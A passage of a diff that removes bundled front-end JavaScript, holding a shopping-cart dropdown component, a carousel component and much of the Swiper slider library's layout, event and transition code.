(0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); - n.default_settings = {}; - n.toggleDropdown = n.toggleDropdown.bind(n); - n.closeDropdown = n.closeDropdown.bind(n); - n.positionDropdown = n.positionDropdown.bind(n); - n.open = false; - n.elPosWidth = 370; - n.elArrow = n.el.querySelector(".cart-dropdown__arrow"); - n.currentTarget - null; - var a = document.querySelectorAll(".js-cart-dropdown-trigger"); - (0, r.default)(a).forEach(function (e) { - e.addEventListener("click", n.toggleDropdown) - }); - window.addEventListener("resize", n.positionDropdown); - return n - }(0, d.default)(t, [{ - key: "toggleDropdown", - value: function e(t) { - if (this.open) { - this.closeDropdown(t) - } else { - this.openDropdown(t) - } - } - }, { - key: "closeDropdown", - value: function e(t) { - var i = this; - if ((0, _.getScreenSize)() == "sm") { - return true - } - t.preventDefault(); - this.open = false; - this.el.classList.remove("active"); - setTimeout(function () { - document.body.removeEventListener("click", i.closeDropdown) - }, 200) - } - }, { - key: "openDropdown", - value: function e(t) { - var i = this; - if ((0, _.getScreenSize)() == "sm") { - return true - } - t.preventDefault(); - this.open = true; - this.el.classList.add("active"); - this.currentTarget = t.target; - this.positionDropdown(); - setTimeout(function () { - document.body.addEventListener("click", i.closeDropdown) - }, 200); - return false - } - }, { - key: "positionDropdown", - value: function e() { - if (!this.currentTarget) { - return false - } - var t = this.currentTarget.getBoundingClientRect(); - var i = this.el.getBoundingClientRect(); - var n = t.x + t.width / 2; - var r = t.y + t.height + 10; - n -= this.elPosWidth / 3; - console.log(n + this.elPosWidth, window.innerWidth - 30); - if (n + this.elPosWidth > window.innerWidth - 30) { - n = window.innerWidth - 30 - this.elPosWidth - } - this.el.style.top = Math.round(r) + "px"; - this.el.style.left = Math.round(n) + "px"; - this.elArrow.style.left = Math.round(t.x - n - 3) + "px" - } - }]); - return t - }(g.Component); - t.default = w - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = g(n); - var a = i(1); - var s = g(a); - var o = i(4); - var l = g(o); - var u = i(5); - var d = g(u); - var f = i(7); - var c = _(f); - var h = i(15); - var m = i(2); - var p = i(432); - var v = g(p); - - function _(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function g(e) { - return e && e.__esModule ? e : { - default: e - } - } - var y = function (e) { - (0, d.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); - n.default_settings = {}; - n.swiper = new v.default(n.el, { - pagination: { - el: ".swiper-pagination" - }, - autoplay: { - delay: 5e3 - }, - speed: 800 - }); - return n - } - return t - }(m.Component); - t.default = y - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = w(n); - var a = i(4); - var s = w(a); - var o = i(5); - var l = w(o); - var u = i(1); - var d = w(u); - var f = i(6); - var c = w(f); - var h = i(433); - var m = w(h); - var p = i(59); - var v = w(p); - var _ = i(158); - var g = w(_); - var y = i(438); - var b = i(159); - - function w(e) { - return e && e.__esModule ? e : { - default: e - } - } - var M = { - addClass: y.addClass, - removeClass: y.removeClass, - hasClass: y.hasClass, - toggleClass: y.toggleClass, - attr: y.attr, - removeAttr: y.removeAttr, - data: y.data, - transform: y.transform, - transition: y.transition, - on: y.on, - off: y.off, - trigger: y.trigger, - transitionEnd: y.transitionEnd, - outerWidth: y.outerWidth, - outerHeight: y.outerHeight, - offset: y.offset, - css: y.css, - each: y.each, - html: y.html, - text: y.text, - is: y.is, - index: y.index, - eq: y.eq, - append: y.append, - prepend: y.prepend, - next: y.next, - nextAll: y.nextAll, - prev: y.prev, - prevAll: y.prevAll, - parent: y.parent, - parents: y.parents, - closest: y.closest, - find: y.find, - children: y.children, - remove: y.remove, - add: y.add, - styles: y.styles - }; - (0, g.default)(M).forEach(function (e) { - y.$.fn[e] = M[e] - }); - var k = { - deleteProps: function e(t) { - var i = t; - (0, g.default)(i).forEach(function (e) { - try { - i[e] = null - } catch (e) {} - try { - delete i[e] - } catch (e) {} - }) - }, - nextTick: function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; - return setTimeout(t, i) - }, - now: function e() { - return Date.now() - }, - getTranslate: function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : "x"; - var n = void 0; - var r = void 0; - var a = void 0; - var s = b.window.getComputedStyle(t, null); - if (b.window.WebKitCSSMatrix) { - r = s.transform || s.webkitTransform; - if (r.split(",").length > 6) { - r = r.split(", ").map(function (e) { - return e.replace(",", ".") - }).join(", ") - } - a = new b.window.WebKitCSSMatrix(r === "none" ? "" : r) - } else { - a = s.MozTransform || s.OTransform || s.MsTransform || s.msTransform || s.transform || s.getPropertyValue("transform").replace("translate(", "matrix(1, 0, 0, 1,"); - n = a.toString().split(",") - } - if (i === "x") { - if (b.window.WebKitCSSMatrix) r = a.m41; - else if (n.length === 16) r = parseFloat(n[12]); - else r = parseFloat(n[4]) - } - if (i === "y") { - if (b.window.WebKitCSSMatrix) r = a.m42; - else if (n.length === 16) r = parseFloat(n[13]); - else r = parseFloat(n[5]) - } - return r || 0 - }, - parseUrlQuery: function e(t) { - var i = {}; - var n = t || b.window.location.href; - var r = void 0; - var a = void 0; - var s = void 0; - var o = void 0; - if (typeof n === "string" && n.length) { - n = n.indexOf("?") > -1 ? n.replace(/\S*\?/, "") : ""; - a = n.split("&").filter(function (e) { - return e !== "" - }); - o = a.length; - for (r = 0; r < o; r += 1) { - s = a[r].replace(/#\S+/g, "").split("="); - i[decodeURIComponent(s[0])] = typeof s[1] === "undefined" ? undefined : decodeURIComponent(s[1]) || "" - } - } - return i - }, - isObject: function e(t) { - return (typeof t === "undefined" ? "undefined" : (0, v.default)(t)) === "object" && t !== null && t.constructor && t.constructor === Object - }, - extend: function e() { - var t = Object(arguments.length <= 0 ? undefined : arguments[0]); - for (var i = 1; i < arguments.length; i += 1) { - var n = arguments.length <= i ? undefined : arguments[i]; - if (n !== undefined && n !== null) { - var r = (0, g.default)(Object(n)); - for (var a = 0, s = r.length; a < s; a += 1) { - var o = r[a]; - var l = (0, m.default)(n, o); - if (l !== undefined && l.enumerable) { - if (k.isObject(t[o]) && k.isObject(n[o])) { - k.extend(t[o], n[o]) - } else if (!k.isObject(t[o]) && k.isObject(n[o])) { - t[o] = {}; - k.extend(t[o], n[o]) - } else { - t[o] = n[o] - } - } - } - } - } - return t - } - }; - var L = function e() { - var t = b.document.createElement("div"); - return { - touch: b.window.Modernizr && b.window.Modernizr.touch === true || function e() { - return !!("ontouchstart" in b.window || b.window.DocumentTouch && b.document instanceof b.window.DocumentTouch) - }(), - pointerEvents: !!(b.window.navigator.pointerEnabled || b.window.PointerEvent), - prefixedPointerEvents: !!b.window.navigator.msPointerEnabled, - transition: function e() { - var i = t.style; - return "transition" in i || "webkitTransition" in i || "MozTransition" in i - }(), - transforms3d: b.window.Modernizr && b.window.Modernizr.csstransforms3d === true || function e() { - var i = t.style; - return "webkitPerspective" in i || "MozPerspective" in i || "OPerspective" in i || "MsPerspective" in i || "perspective" in i - }(), - flexbox: function e() { - var i = t.style; - var n = "alignItems webkitAlignItems webkitBoxAlign msFlexAlign mozBoxAlign webkitFlexDirection msFlexDirection mozBoxDirection mozBoxOrient webkitBoxDirection webkitBoxOrient".split(" "); - for (var r = 0; r < n.length; r += 1) { - if (n[r] in i) return true - } - return false - }(), - observer: function e() { - return "MutationObserver" in b.window || "WebkitMutationObserver" in b.window - }(), - passiveListener: function e() { - var t = false; - try { - var i = Object.defineProperty({}, "passive", { - get: function e() { - t = true - } - }); - b.window.addEventListener("testPassiveListener", null, i) - } catch (e) {} - return t - }(), - gestures: function e() { - return "ongesturestart" in b.window - }() - } - }(); - var T = function () { - function e() { - var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; - (0, d.default)(this, e); - var i = this; - i.params = t; - i.eventsListeners = {}; - if (i.params && i.params.on) { - (0, g.default)(i.params.on).forEach(function (e) { - i.on(e, i.params.on[e]) - }) - } - }(0, c.default)(e, [{ - key: "on", - value: function e(t, i, n) { - var r = this; - if (typeof i !== "function") return r; - var a = n ? "unshift" : "push"; - t.split(" ").forEach(function (e) { - if (!r.eventsListeners[e]) r.eventsListeners[e] = []; - r.eventsListeners[e][a](i) - }); - return r - } - }, { - key: "once", - value: function e(t, i, n) { - var r = this; - if (typeof i !== "function") return r; - - function a() { - for (var e = arguments.length, n = Array(e), s = 0; s < e; s++) { - n[s] = arguments[s] - } - i.apply(r, n); - r.off(t, a) - } - return r.on(t, a, n) - } - }, { - key: "off", - value: function e(t, i) { - var n = this; - if (!n.eventsListeners) return n; - t.split(" ").forEach(function (e) { - if (typeof i === "undefined") { - n.eventsListeners[e] = [] - } else if (n.eventsListeners[e] && n.eventsListeners[e].length) { - n.eventsListeners[e].forEach(function (t, r) { - if (t === i) { - n.eventsListeners[e].splice(r, 1) - } - }) - } - }); - return n - } - }, { - key: "emit", - value: function e() { - var t = this; - if (!t.eventsListeners) return t; - var i = void 0; - var n = void 0; - var r = void 0; - for (var a = arguments.length, s = Array(a), o = 0; o < a; o++) { - s[o] = arguments[o] - } - if (typeof s[0] === "string" || Array.isArray(s[0])) { - i = s[0]; - n = s.slice(1, s.length); - r = t - } else { - i = s[0].events; - n = s[0].data; - r = s[0].context || t - } - var l = Array.isArray(i) ? i : i.split(" "); - l.forEach(function (e) { - if (t.eventsListeners && t.eventsListeners[e]) { - var i = []; - t.eventsListeners[e].forEach(function (e) { - i.push(e) - }); - i.forEach(function (e) { - e.apply(r, n) - }) - } - }); - return t - } - }, { - key: "useModulesParams", - value: function e(t) { - var i = this; - if (!i.modules) return; - (0, g.default)(i.modules).forEach(function (e) { - var n = i.modules[e]; - if (n.params) { - k.extend(t, n.params) - } - }) - } - }, { - key: "useModules", - value: function e() { - var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; - var i = this; - if (!i.modules) return; - (0, g.default)(i.modules).forEach(function (e) { - var n = i.modules[e]; - var r = t[e] || {}; - if (n.instance) { - (0, g.default)(n.instance).forEach(function (e) { - var t = n.instance[e]; - if (typeof t === "function") { - i[e] = t.bind(i) - } else { - i[e] = t - } - }) - } - if (n.on && i.on) { - (0, g.default)(n.on).forEach(function (e) { - i.on(e, n.on[e]) - }) - } - if (n.create) { - n.create.bind(i)(r) - } - }) - } - }], [{ - key: "installModule", - value: function e(t) { - var i = this; - if (!i.prototype.modules) i.prototype.modules = {}; - var n = t.name || (0, g.default)(i.prototype.modules).length + "_" + k.now(); - i.prototype.modules[n] = t; - if (t.proto) { - (0, g.default)(t.proto).forEach(function (e) { - i.prototype[e] = t.proto[e] - }) - } - if (t.static) { - (0, g.default)(t.static).forEach(function (e) { - i[e] = t.static[e] - }) - } - if (t.install) { - for (var r = arguments.length, a = Array(r > 1 ? r - 1 : 0), s = 1; s < r; s++) { - a[s - 1] = arguments[s] - } - t.install.apply(i, a) - } - return i - } - }, { - key: "use", - value: function e(t) { - var i = this; - if (Array.isArray(t)) { - t.forEach(function (e) { - return i.installModule(e) - }); - return i - } - for (var n = arguments.length, r = Array(n > 1 ? n - 1 : 0), a = 1; a < n; a++) { - r[a - 1] = arguments[a] - } - return i.installModule.apply(i, [t].concat(r)) - } - }, { - key: "components", - set: function e(t) { - var i = this; - if (!i.use) return; - i.use(t) - } - }]); - return e - }(); - - function x() { - var e = this; - var t = void 0; - var i = void 0; - var n = e.$el; - if (typeof e.params.width !== "undefined") { - t = e.params.width - } else { - t = n[0].clientWidth - } - if (typeof e.params.height !== "undefined") { - i = e.params.height - } else { - i = n[0].clientHeight - } - if (t === 0 && e.isHorizontal() || i === 0 && e.isVertical()) { - return - } - t = t - parseInt(n.css("padding-left"), 10) - parseInt(n.css("padding-right"), 10); - i = i - parseInt(n.css("padding-top"), 10) - parseInt(n.css("padding-bottom"), 10); - k.extend(e, { - width: t, - height: i, - size: e.isHorizontal() ? t : i - }) - } - - function S() { - var e = this; - var t = e.params; - var i = e.$wrapperEl, - n = e.size, - r = e.rtlTranslate, - a = e.wrongRTL; - var s = e.virtual && t.virtual.enabled; - var o = s ? e.virtual.slides.length : e.slides.length; - var l = i.children("." + e.params.slideClass); - var u = s ? e.virtual.slides.length : l.length; - var d = []; - var f = []; - var c = []; - var h = t.slidesOffsetBefore; - if (typeof h === "function") { - h = t.slidesOffsetBefore.call(e) - } - var m = t.slidesOffsetAfter; - if (typeof m === "function") { - m = t.slidesOffsetAfter.call(e) - } - var p = e.snapGrid.length; - var v = e.snapGrid.length; - var _ = t.spaceBetween; - var g = -h; - var y = 0; - var w = 0; - if (typeof n === "undefined") { - return - } - if (typeof _ === "string" && _.indexOf("%") >= 0) { - _ = parseFloat(_.replace("%", "")) / 100 * n - } - e.virtualSize = -_; - if (r) l.css({ - marginLeft: "", - marginTop: "" - }); - else l.css({ - marginRight: "", - marginBottom: "" - }); - var M = void 0; - if (t.slidesPerColumn > 1) { - if (Math.floor(u / t.slidesPerColumn) === u / e.params.slidesPerColumn) { - M = u - } else { - M = Math.ceil(u / t.slidesPerColumn) * t.slidesPerColumn - } - if (t.slidesPerView !== "auto" && t.slidesPerColumnFill === "row") { - M = Math.max(M, t.slidesPerView * t.slidesPerColumn) - } - } - var T = void 0; - var x = t.slidesPerColumn; - var S = M / x; - var Y = S - (t.slidesPerColumn * S - u); - for (var D = 0; D < u; D += 1) { - T = 0; - var E = l.eq(D); - if (t.slidesPerColumn > 1) { - var C = void 0; - var P = void 0; - var A = void 0; - if (t.slidesPerColumnFill === "column") { - P = Math.floor(D / x); - A = D - P * x; - if (P > Y || P === Y && A === x - 1) { - A += 1; - if (A >= x) { - A = 0; - P += 1 - } - } - C = P + A * M / x; - E.css({ - "-webkit-box-ordinal-group": C, - "-moz-box-ordinal-group": C, - "-ms-flex-order": C, - "-webkit-order": C, - order: C - }) - } else { - A = Math.floor(D / S); - P = D - A * S - } - E.css("margin-" + (e.isHorizontal() ? "top" : "left"), A !== 0 && t.spaceBetween && t.spaceBetween + "px").attr("data-swiper-column", P).attr("data-swiper-row", A) - } - if (E.css("display") === "none") continue; - if (t.slidesPerView === "auto") { - var O = b.window.getComputedStyle(E[0], null); - var j = E[0].style.transform; - var H = E[0].style.webkitTransform; - if (j) { - E[0].style.transform = "none" - } - if (H) { - E[0].style.webkitTransform = "none" - } - if (t.roundLengths) { - T = e.isHorizontal() ? E.outerWidth(true) : E.outerHeight(true) - } else { - if (e.isHorizontal()) { - T = E[0].getBoundingClientRect().width + parseFloat(O.getPropertyValue("margin-left")) + parseFloat(O.getPropertyValue("margin-right")) - } else { - T = E[0].getBoundingClientRect().height + parseFloat(O.getPropertyValue("margin-top")) + parseFloat(O.getPropertyValue("margin-bottom")) - } - } - if (j) { - E[0].style.transform = j - } - if (H) { - E[0].style.webkitTransform = H - } - if (t.roundLengths) T = Math.floor(T) - } else { - T = (n - (t.slidesPerView - 1) * _) / t.slidesPerView; - if (t.roundLengths) T = Math.floor(T); - if (l[D]) { - if (e.isHorizontal()) { - l[D].style.width = T + "px" - } else { - l[D].style.height = T + "px" - } - } - } - if (l[D]) { - l[D].swiperSlideSize = T - } - c.push(T); - if (t.centeredSlides) { - g = g + T / 2 + y / 2 + _; - if (y === 0 && D !== 0) g = g - n / 2 - _; - if (D === 0) g = g - n / 2 - _; - if (Math.abs(g) < 1 / 1e3) g = 0; - if (t.roundLengths) g = Math.floor(g); - if (w % t.slidesPerGroup === 0) d.push(g); - f.push(g) - } else { - if (t.roundLengths) g = Math.floor(g); - if (w % t.slidesPerGroup === 0) d.push(g); - f.push(g); - g = g + T + _ - } - e.virtualSize += T + _; - y = T; - w += 1 - } - e.virtualSize = Math.max(e.virtualSize, n) + m; - var I = void 0; - if (r && a && (t.effect === "slide" || t.effect === "coverflow")) { - i.css({ - width: e.virtualSize + t.spaceBetween + "px" - }) - } - if (!L.flexbox || t.setWrapperSize) { - if (e.isHorizontal()) i.css({ - width: e.virtualSize + t.spaceBetween + "px" - }); - else i.css({ - height: e.virtualSize + t.spaceBetween + "px" - }) - } - if (t.slidesPerColumn > 1) { - e.virtualSize = (T + t.spaceBetween) * M; - e.virtualSize = Math.ceil(e.virtualSize / t.slidesPerColumn) - t.spaceBetween; - if (e.isHorizontal()) i.css({ - width: e.virtualSize + t.spaceBetween + "px" - }); - else i.css({ - height: e.virtualSize + t.spaceBetween + "px" - }); - if (t.centeredSlides) { - I = []; - for (var F = 0; F < d.length; F += 1) { - var z = d[F]; - if (t.roundLengths) z = Math.floor(z); - if (d[F] < e.virtualSize + d[0]) I.push(z) - } - d = I - } - } - if (!t.centeredSlides) { - I = []; - for (var R = 0; R < d.length; R += 1) { - var N = d[R]; - if (t.roundLengths) N = Math.floor(N); - if (d[R] <= e.virtualSize - n) { - I.push(N) - } - } - d = I; - if (Math.floor(e.virtualSize - n) - Math.floor(d[d.length - 1]) > 1) { - d.push(e.virtualSize - n) - } - } - if (d.length === 0) d = [0]; - if (t.spaceBetween !== 0) { - if (e.isHorizontal()) { - if (r) l.css({ - marginLeft: _ + "px" - }); - else l.css({ - marginRight: _ + "px" - }) - } else l.css({ - marginBottom: _ + "px" - }) - } - if (t.centerInsufficientSlides) { - var W = 0; - c.forEach(function (e) { - W += e + (t.spaceBetween ? t.spaceBetween : 0) - }); - W -= t.spaceBetween; - if (W < n) { - var B = (n - W) / 2; - d.forEach(function (e, t) { - d[t] = e - B - }); - f.forEach(function (e, t) { - f[t] = e + B - }) - } - } - k.extend(e, { - slides: l, - snapGrid: d, - slidesGrid: f, - slidesSizesGrid: c - }); - if (u !== o) { - e.emit("slidesLengthChange") - } - if (d.length !== p) { - if (e.params.watchOverflow) e.checkOverflow(); - e.emit("snapGridLengthChange") - } - if (f.length !== v) { - e.emit("slidesGridLengthChange") - } - if (t.watchSlidesProgress || t.watchSlidesVisibility) { - e.updateSlidesOffset() - } - } - - function Y(e) { - var t = this; - var i = []; - var n = 0; - var r = void 0; - if (typeof e === "number") { - t.setTransition(e) - } else if (e === true) { - t.setTransition(t.params.speed) - } - if (t.params.slidesPerView !== "auto" && t.params.slidesPerView > 1) { - for (r = 0; r < Math.ceil(t.params.slidesPerView); r += 1) { - var a = t.activeIndex + r; - if (a > t.slides.length) break; - i.push(t.slides.eq(a)[0]) - } - } else { - i.push(t.slides.eq(t.activeIndex)[0]) - } - for (r = 0; r < i.length; r += 1) { - if (typeof i[r] !== "undefined") { - var s = i[r].offsetHeight; - n = s > n ? s : n - } - } - if (n) t.$wrapperEl.css("height", n + "px") - } - - function D() { - var e = this; - var t = e.slides; - for (var i = 0; i < t.length; i += 1) { - t[i].swiperSlideOffset = e.isHorizontal() ? t[i].offsetLeft : t[i].offsetTop - } - } - - function E() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this && this.translate || 0; - var t = this; - var i = t.params; - var n = t.slides, - r = t.rtlTranslate; - if (n.length === 0) return; - if (typeof n[0].swiperSlideOffset === "undefined") t.updateSlidesOffset(); - var a = -e; - if (r) a = e; - n.removeClass(i.slideVisibleClass); - t.visibleSlidesIndexes = []; - t.visibleSlides = []; - for (var s = 0; s < n.length; s += 1) { - var o = n[s]; - var l = (a + (i.centeredSlides ? t.minTranslate() : 0) - o.swiperSlideOffset) / (o.swiperSlideSize + i.spaceBetween); - if (i.watchSlidesVisibility) { - var u = -(a - o.swiperSlideOffset); - var d = u + t.slidesSizesGrid[s]; - var f = u >= 0 && u < t.size || d > 0 && d <= t.size || u <= 0 && d >= t.size; - if (f) { - t.visibleSlides.push(o); - t.visibleSlidesIndexes.push(s); - n.eq(s).addClass(i.slideVisibleClass) - } - } - o.progress = r ? -l : l - } - t.visibleSlides = (0, y.$)(t.visibleSlides) - } - - function C() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this && this.translate || 0; - var t = this; - var i = t.params; - var n = t.maxTranslate() - t.minTranslate(); - var r = t.progress, - a = t.isBeginning, - s = t.isEnd; - var o = a; - var l = s; - if (n === 0) { - r = 0; - a = true; - s = true - } else { - r = (e - t.minTranslate()) / n; - a = r <= 0; - s = r >= 1 - } - k.extend(t, { - progress: r, - isBeginning: a, - isEnd: s - }); - if (i.watchSlidesProgress || i.watchSlidesVisibility) t.updateSlidesProgress(e); - if (a && !o) { - t.emit("reachBeginning toEdge") - } - if (s && !l) { - t.emit("reachEnd toEdge") - } - if (o && !a || l && !s) { - t.emit("fromEdge") - } - t.emit("progress", r) - } - - function P() { - var e = this; - var t = e.slides, - i = e.params, - n = e.$wrapperEl, - r = e.activeIndex, - a = e.realIndex; - var s = e.virtual && i.virtual.enabled; - t.removeClass(i.slideActiveClass + " " + i.slideNextClass + " " + i.slidePrevClass + " " + i.slideDuplicateActiveClass + " " + i.slideDuplicateNextClass + " " + i.slideDuplicatePrevClass); - var o = void 0; - if (s) { - o = e.$wrapperEl.find("." + i.slideClass + '[data-swiper-slide-index="' + r + '"]') - } else { - o = t.eq(r) - } - o.addClass(i.slideActiveClass); - if (i.loop) { - if (o.hasClass(i.slideDuplicateClass)) { - n.children("." + i.slideClass + ":not(." + i.slideDuplicateClass + ')[data-swiper-slide-index="' + a + '"]').addClass(i.slideDuplicateActiveClass) - } else { - n.children("." + i.slideClass + "." + i.slideDuplicateClass + '[data-swiper-slide-index="' + a + '"]').addClass(i.slideDuplicateActiveClass) - } - } - var l = o.nextAll("." + i.slideClass).eq(0).addClass(i.slideNextClass); - if (i.loop && l.length === 0) { - l = t.eq(0); - l.addClass(i.slideNextClass) - } - var u = o.prevAll("." + i.slideClass).eq(0).addClass(i.slidePrevClass); - if (i.loop && u.length === 0) { - u = t.eq(-1); - u.addClass(i.slidePrevClass) - } - if (i.loop) { - if (l.hasClass(i.slideDuplicateClass)) { - n.children("." + i.slideClass + ":not(." + i.slideDuplicateClass + ')[data-swiper-slide-index="' + l.attr("data-swiper-slide-index") + '"]').addClass(i.slideDuplicateNextClass) - } else { - n.children("." + i.slideClass + "." + i.slideDuplicateClass + '[data-swiper-slide-index="' + l.attr("data-swiper-slide-index") + '"]').addClass(i.slideDuplicateNextClass) - } - if (u.hasClass(i.slideDuplicateClass)) { - n.children("." + i.slideClass + ":not(." + i.slideDuplicateClass + ')[data-swiper-slide-index="' + u.attr("data-swiper-slide-index") + '"]').addClass(i.slideDuplicatePrevClass) - } else { - n.children("." + i.slideClass + "." + i.slideDuplicateClass + '[data-swiper-slide-index="' + u.attr("data-swiper-slide-index") + '"]').addClass(i.slideDuplicatePrevClass) - } - } - } - - function A(e) { - var t = this; - var i = t.rtlTranslate ? t.translate : -t.translate; - var n = t.slidesGrid, - r = t.snapGrid, - a = t.params, - s = t.activeIndex, - o = t.realIndex, - l = t.snapIndex; - var u = e; - var d = void 0; - if (typeof u === "undefined") { - for (var f = 0; f < n.length; f += 1) { - if (typeof n[f + 1] !== "undefined") { - if (i >= n[f] && i < n[f + 1] - (n[f + 1] - n[f]) / 2) { - u = f - } else if (i >= n[f] && i < n[f + 1]) { - u = f + 1 - } - } else if (i >= n[f]) { - u = f - } - } - if (a.normalizeSlideIndex) { - if (u < 0 || typeof u === "undefined") u = 0 - } - } - if (r.indexOf(i) >= 0) { - d = r.indexOf(i) - } else { - d = Math.floor(u / a.slidesPerGroup) - } - if (d >= r.length) d = r.length - 1; - if (u === s) { - if (d !== l) { - t.snapIndex = d; - t.emit("snapIndexChange") - } - return - } - var c = parseInt(t.slides.eq(u).attr("data-swiper-slide-index") || u, 10); - k.extend(t, { - snapIndex: d, - realIndex: c, - previousIndex: s, - activeIndex: u - }); - t.emit("activeIndexChange"); - t.emit("snapIndexChange"); - if (o !== c) { - t.emit("realIndexChange") - } - t.emit("slideChange") - } - - function O(e) { - var t = this; - var i = t.params; - var n = (0, y.$)(e.target).closest("." + i.slideClass)[0]; - var r = false; - if (n) { - for (var a = 0; a < t.slides.length; a += 1) { - if (t.slides[a] === n) r = true - } - } - if (n && r) { - t.clickedSlide = n; - if (t.virtual && t.params.virtual.enabled) { - t.clickedIndex = parseInt((0, y.$)(n).attr("data-swiper-slide-index"), 10) - } else { - t.clickedIndex = (0, y.$)(n).index() - } - } else { - t.clickedSlide = undefined; - t.clickedIndex = undefined; - return - } - if (i.slideToClickedSlide && t.clickedIndex !== undefined && t.clickedIndex !== t.activeIndex) { - t.slideToClickedSlide() - } - } - var j = { - updateSize: x, - updateSlides: S, - updateAutoHeight: Y, - updateSlidesOffset: D, - updateSlidesProgress: E, - updateProgress: C, - updateSlidesClasses: P, - updateActiveIndex: A, - updateClickedSlide: O - }; - - function H() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.isHorizontal() ? "x" : "y"; - var t = this; - var i = t.params, - n = t.rtlTranslate, - r = t.translate, - a = t.$wrapperEl; - if (i.virtualTranslate) { - return n ? -r : r - } - var s = k.getTranslate(a[0], e); - if (n) s = -s; - return s || 0 - } - - function I(e, t) { - var i = this; - var n = i.rtlTranslate, - r = i.params, - a = i.$wrapperEl, - s = i.progress; - var o = 0; - var l = 0; - var u = 0; - if (i.isHorizontal()) { - o = n ? -e : e - } else { - l = e - } - if (r.roundLengths) { - o = Math.floor(o); - l = Math.floor(l) - } - if (!r.virtualTranslate) { - if (L.transforms3d) a.transform("translate3d(" + o + "px, " + l + "px, " + u + "px)"); - else a.transform("translate(" + o + "px, " + l + "px)") - } - i.previousTranslate = i.translate; - i.translate = i.isHorizontal() ? o : l; - var d = void 0; - var f = i.maxTranslate() - i.minTranslate(); - if (f === 0) { - d = 0 - } else { - d = (e - i.minTranslate()) / f - } - if (d !== s) { - i.updateProgress(e) - } - i.emit("setTranslate", i.translate, t) - } - - function F() { - return -this.snapGrid[0] - } - - function z() { - return -this.snapGrid[this.snapGrid.length - 1] - } - var R = { - getTranslate: H, - setTranslate: I, - minTranslate: F, - maxTranslate: z - }; - - function N(e, t) { - var i = this; - i.$wrapperEl.transition(e); - i.emit("setTransition", e, t) - } - - function W() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; - var t = arguments[1]; - var i = this; - var n = i.activeIndex, - r = i.params, - a = i.previousIndex; - if (r.autoHeight) { - i.updateAutoHeight() - } - var s = t; - if (!s) { - if (n > a) s = "next"; - else if (n < a) s = "prev"; - else s = "reset" - } - i.emit("transitionStart"); - if (e && n !== a) { - if (s === "reset") { - i.emit("slideResetTransitionStart"); - return - } - i.emit("slideChangeTransitionStart"); - if (s === "next") { - i.emit("slideNextTransitionStart") - } else { - i.emit("slidePrevTransitionStart") - } - } - } - - function B() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; - var t = arguments[1]; - var i = this; - var n = i.activeIndex, - r = i.previousIndex; - i.animating = false; - i.setTransition(0); - var a = t; - if (!a) { - if (n > r) a = "next"; - else if (n < r) a = "prev"; - else a = "reset" - } - i.emit("transitionEnd"); - if (e && n !== r) { - if (a === "reset") { - i.emit("slideResetTransitionEnd"); - return - } - i.emit("slideChangeTransitionEnd"); - if (a === "next") { - i.emit("slideNextTransitionEnd") - } else { - i.emit("slidePrevTransitionEnd") - } - } - } - var q = { - setTransition: N, - transitionStart: W, - transitionEnd: B - }; - - function $() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; - var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.params.speed; - var i = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true; - var n = arguments[3]; - var r = this; - var a = e; - if (a < 0) a = 0; - var s = r.params, - o = r.snapGrid, - l = r.slidesGrid, - u = r.previousIndex, - d = r.activeIndex, - f = r.rtlTranslate; - if (r.animating && s.preventInteractionOnTransition) { - return false - } - var c = Math.floor(a / s.slidesPerGroup); - if (c >= o.length) c = o.length - 1; - if ((d || s.initialSlide || 0) === (u || 0) && i) { - r.emit("beforeSlideChangeStart") - } - var h = -o[c]; - r.updateProgress(h); - if (s.normalizeSlideIndex) { - for (var m = 0; m < l.length; m += 1) { - if (-Math.floor(h * 100) >= Math.floor(l[m] * 100)) { - a = m - } - } - } - if (r.initialized && a !== d) { - if (!r.allowSlideNext && h < r.translate && h < r.minTranslate()) { - return false - } - if (!r.allowSlidePrev && h > r.translate && h > r.maxTranslate()) { - if ((d || 0) !== a) return false - } - } - var p = void 0; - if (a > d) p = "next"; - else if (a < d) p = "prev"; - else p = "reset"; - if (f && -h === r.translate || !f && h === r.translate) { - r.updateActiveIndex(a); - if (s.autoHeight) { - r.updateAutoHeight() - } - r.updateSlidesClasses(); - if (s.effect !== "slide") { - r.setTranslate(h) - } - if (p !== "reset") { - r.transitionStart(i, p); - r.transitionEnd(i, p) - } - return false - } - if (t === 0 || !L.transition) { - r.setTransition(0); - r.setTranslate(h); - r.updateActiveIndex(a); - r.updateSlidesClasses(); - r.emit("beforeTransitionStart", t, n); - r.transitionStart(i, p); - r.transitionEnd(i, p) - } else { - r.setTransition(t); - r.setTranslate(h); - r.updateActiveIndex(a); - r.updateSlidesClasses(); - r.emit("beforeTransitionStart", t, n); - r.transitionStart(i, p); - if (!r.animating) { - r.animating = true; - if (!r.onSlideToWrapperTransitionEnd) { - r.onSlideToWrapperTransitionEnd = function e(t) { - if (!r || r.destroyed) return; - if (t.target !== this) return; - r.$wrapperEl[0].removeEventListener("transitionend", 